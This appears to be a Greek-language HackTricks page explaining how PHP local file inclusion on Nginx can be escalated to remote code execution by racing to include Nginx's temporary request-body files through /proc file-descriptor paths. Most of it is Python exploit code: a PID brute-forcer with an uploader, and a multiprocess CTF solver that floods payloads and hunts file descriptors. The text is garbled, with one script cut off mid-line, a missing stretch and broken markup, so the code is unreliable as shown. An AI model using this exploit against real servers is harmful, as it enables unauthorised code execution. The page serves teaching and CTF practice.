hacktricks/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md

10 KiB
Raw Blame History

LFI2RCE μέσω αρχείων temp Nginx

{% hint style="success" %} Μάθε & εξάσκησε το AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξάσκησε το GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξε το HackTricks
{% endhint %}

WhiteIntel

WhiteIntel είναι μια μηχανή αναζήτησης που τροφοδοτείται από το dark-web και προσφέρει δωρεάν λειτουργίες για να ελέγξει αν μια εταιρεία ή οι πελάτες της έχουν παραβιαστεί από stealer malwares.

Ο κύριος στόχος του WhiteIntel είναι να καταπολεμήσει τις καταλήψεις λογαριασμών και τις επιθέσεις ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.

Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:

{% embed url="https://whiteintel.io" %}


Ευάλωτη διαμόρφωση

Παράδειγμα από https://bierbaumer.net/security/php-lfi-with-nginx-assistance/

  • Κώδικας PHP:

````h`

/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... ``` Σημείωση: Δεν μπορεί κανείς να συμπεριλάβει άμεσα `/proc/34/fd/15` σε αυτό το παράδειγμα καθώς η συνάρτηση `include` της PHP θα επιλύσει τη διαδρομή σε `/var/lib/nginx/body/0000001368 (deleted)` που δεν υπάρχει στο σύστημα αρχείων. Αυτή η μικρή περιοριστική μπορεί ευτυχώς να παρακαμφθεί με κάποια έμμεση αναφορά όπως: `/proc/self/fd/34/../../../34/fd/15` που θα εκτελέσει τελικά το περιεχόμενο του διαγραμμένου αρχείου `/var/lib/nginx/body/0000001368`. ## Πλήρης Εκμετάλλευση ```python #!/usr/bin/env python3 import sys, threading, requests # εκμετάλλευση της τοπικής συμπερίληψης αρχείων PHP (LFI) μέσω της βοήθειας της προσωρινής αποθήκευσης σώματος πελάτη του nginx # δείτε https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ για λεπτομέρειες URL = f'http://{sys.argv[1]}:{sys.argv[2]}/' # βρείτε τις διαδικασίες εργαζομένων του nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid_max' }) pid_max = int(r.text) print(f'[*] cpus: {cpus}; pid_max: {pid_max}') nginx_workers = [] for pid in range(pid_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'[*] βρέθηκε εργαζόμενος nginx: {pid}') nginx_workers.append(pid) if len(nginx_workers) >= cpus: break done = False # ανεβάστε ένα μεγάλο σώμα πελάτη για να αναγκάσετε το nginx να δημιουργήσει ένα /var/lib/nginx/body/$X def uploader(): print('[+] ξεκινώντας τον ανεβάστη') while not done: requests.get(URL, data=' //'

requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
def send_payload_worker(requests_session): while True: send_payload(requests_session)

def send_payload_multiprocess(requests_session): # Χρησιμοποιήστε όλους τους επεξεργαστές για να στείλετε το payload ως σώμα αιτήματος για το Nginx for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start()

def generate_random_path_prefix(nginx_pids): # Αυτή η μέθοδος δημιουργεί μια διαδρομή από τυχαίο αριθμό στοιχείων διαδρομής ProcFS. Μια παραγόμενη διαδρομή θα μοιάζει με /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path

def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # Οι σημαίες είναι μορφοποιημένες ως hxp{} if "hxp" in d: print("Βρέθηκε σημαία! ") print(d)

def read_file_worker(requests_session, nginx_pid, nginx_pids): # Σαρώστε τα FDs του Nginx μεταξύ 10 - 45 σε βρόχο. Δεδομένου ότι τα αρχεία και οι υποδοχές κλείνουν συνεχώς - είναι πολύ συνηθισμένο για το FD του σώματος αιτήματος να ανοίγει εντός αυτού του εύρους for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start()

def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start()

if **name** == "**main**": print('\[DEBUG] Δημιουργία συνεδρίας αιτημάτων') requests_session = create_requests_session() print('\[DEBUG] Λήψη pids του Nginx') nginx_pids = get_nginx_pids(requests_session) print(f'\[DEBUG] Pids του Nginx: {nginx_pids}') print('\[DEBUG] Έναρξη αποστολής payload') send_payload_multiprocess(requests_session) print('\[DEBUG] Έναρξη αναγνωστών fd') read_file_multiprocess(requests_session, nginx_pids)

## Labs

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)

## References

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.

Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.

You can check their website and try their engine for **free** at:

<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}